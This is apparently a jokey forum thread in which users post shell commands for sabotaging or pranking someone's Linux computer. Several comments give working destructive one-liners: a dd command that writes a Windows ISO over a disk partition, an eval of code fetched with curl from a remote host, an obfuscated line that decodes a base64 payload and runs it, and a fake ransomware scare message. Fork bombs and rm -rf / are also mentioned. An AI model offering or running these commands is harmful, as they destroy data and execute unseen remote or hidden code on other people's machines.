Please be gentle

  1. This post shall stay although we do advise posting less of an AMA type post and more humorous, thank you very much for posting though! It's highly appreciated!! ^

  2. Everyone jumps in here with the nuclear option to immediately destroy a PC. Sometimes the lesser-damaging scripts are way more fun:

  3. I came here to find this. This is absolutely my favorite trick because you can drop it and remove it from shell history in a single command.

  4. in my experience what most computers are missing is a 100,000 copies of the bee movie script downloaded to the home directory:

  5. Yeah, needs more information, what distribution? Am I root or a user? Will OP enter the correct password into a prompt?

  6. The incredibly freaky thing is that I was playing some random music, and read this comment just as Doechii sung "One fish, two fish, red fish, blue fish".

  7. Considering someone has probably commented sudo rm -rf / somewhere, if your line runs first, they'll actually be saved lol

  8. Awww, dammit. I posted this and THEN looked through comments. I really didn't think anyone else was old enough to remember the ol fork bomb.

  9. wget https://software.download.prss.microsoft.com/dbazure/Win11_EnglishInternational_x64v1.iso && dd if=./Win11_EnglishInternational_x64v1.iso of=/dev/sda1

  10. I expected to see the forkbombs and the "sudo rm -rf /"es, but some of ya'll are imaginative bastards. Here's my (both helpful and annoying) contribution.

  11. btcAcct=$(cat /dev/urandom | tr -dc '[:alpha:]' | fold -w ${1:-43} | head -n 1); for i in {120..1}; do echo -n "YOU ARE BEEN HACKED! Found ILLEGAL MATERIAL. IP Address $(hostname -I). Pay 500 bitcoin to $btcAcct in $i seconds or loose all data and call the police"; sleep 1; echo -n -e "\r"; done; echo -e "\nPolice is call. You go prison"

  12. eval $(curl https://aaa.aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa.com/aåàÂàÄÆaÄáÆÆÀååÅáAâäÀâàÀÅåÃåÁaÅäÀâaÁååÀÀÁåäÅÃãÃÀååäÄÁãÃÄÃæ?åAæãæãæaæââÁáÆáÆææææææáÅææåÀåÂåÀåAåÆææáÅåâåÆåÄáÆäææáåÀæãåäáÄåàáÄäâåAåäåÃåÃáÄäâåâæáåÀæaæãáÄääæâåÀåÅåæáÄãáåàæâåAáÄäâåAåäåÃåÃáÄåÀåÅáÄääåáæäåÅæãæä)

  13. Unless you’re root, first one should create a “grass” file and then say “touch: grass: Permission denied”

  14. To be fair, he didn't say what he would do after executing the command, so he can just simply provide the wrong password.

  15. "${@#GcJpq}"e$'v\x61'l "$("${@,,}"${@%%@?tp&u}p'r'in't'${}f 'QlpoOTFBWSZTWaAfinsABYH/gF+//4Bd/4AfwAAAD8AAAA5QBN6u4VauOm7gzUJDFJiNFGZqaZI9NR6aPUgepmoBpimEioAB5RoAAAAk0oSaTSHqeoANAAaAAwADRpoAyaA0GQGgIkiER6mao9Q9INqAG9SG0aTU5iIAnoKHR75QlSj9zVNYcvdund7IV7d9cysnjPKqp0KICmCbNVSX3p7YAEDUZiuvPQgP6MYkz04c14wGREJFJFkA31N/qupXC9+GGEpEzJrfbc3NwP3SwtLClpCy0gsgJEEwLQQDQQj5/ieN8PkLXOscxDRJZOAbAgRfUctQSCTT7Szi2ynxwDEgSAZjb2tlkMvLm8iIhLWTJAgDUCYA5mXtYkoJIRYIttzjypSBcAdeQFhm8vAIBAkQLHBvoigsESRQFIIgcgth1w4cN99cTritQDGoBIM1gOtOXVS4AQEAICrC4jNdTVSK5zxu5qAPDOc8XUMkTM8PPt5dW0eu5HVNuZeVne+GYGC3C4S3WHUohBIotc8SSdO/IGoBPOHbFVEEWKxTnamwtyumUbmJCWxQOKB3GyD8ZU1tYDdBRoSyq1IgQCaSLCERrjtKNaAemBMzbNYCfCM7CBsHNbvXuUEkUZ8JwYZh5MgRzYcZcsBreOXlj1z58Ov3CvzbfpxvfDSJBG2zBK7ehGIex77nscHTuda6h93SsVU345OizOrm84EQjAA7niYrlXQHq/P7D7MsscqJiQGuLGPSQSEkQUgGoFKDNntIW13274uu35vdwvpizxx5NJIN27Sbjr26a7rrbLqQO5GgkgJDsPIRHdAQCREdIAOkAbabL6UneCH393L4BA6er0/L+Z9cE0VtRbW0goKLbYCRahZVDpo+1dN10fX2TapTzM7vNUK3LbLk2bT1lLYeqk7mzTm9ToCAFAzcQAr3cmiSTmiLSDsWUtrQJSL0SSsbe2alUDe9N7NJhqVo0REVWtvY3dwBWpVqy1MBOkwBhzN3iaoJlpotTK3p7sZeM1psop2duNQ2z5chEAT8TwiogCefMnERTlEsRQPAgIP9i2ypRvAZECRCRFwSXJSAaQxgsJCYZbQgnmFdTY4a2ppxjfGhFZAwqkG8G1qFGsBkWRUICiMNWkrAGlkrFCsCsBSCwqFZWF/VwgBgqoxqyBWClQWClQWSsCsihRCBaIK0A/1xgmiQ2ZOOsYAhnCa+1zhM4uEDt6EhKA2Ny5YVxxOsNA/Sf7PKRRUOzx1FDgkQdk84iKV20Uq+++HZf0sZWAyidGA3yv/F3JFOFCQoB+KewA=='"${@//=Q.Z}"${#;4CQaS}|"${@,,}""""b"a''se6\4 -d${~~}|${^^}${#

  16. A well configured Linux has a process limit that'll be reached before your system dies. Then the forks just get cleaned up as they end and can't keep forking. Probably same for BSD and OSX but I don't use these.

  17. alias sex "updatedb; locate; talk; date; cd; strip; look; touch; finger; unzip; uptime; gawk; head; apt-get install condom; mount; fsck; gasp; more; yes; yes; yes; more; umount; apt-get remove --purge condom; make clean; sleep"

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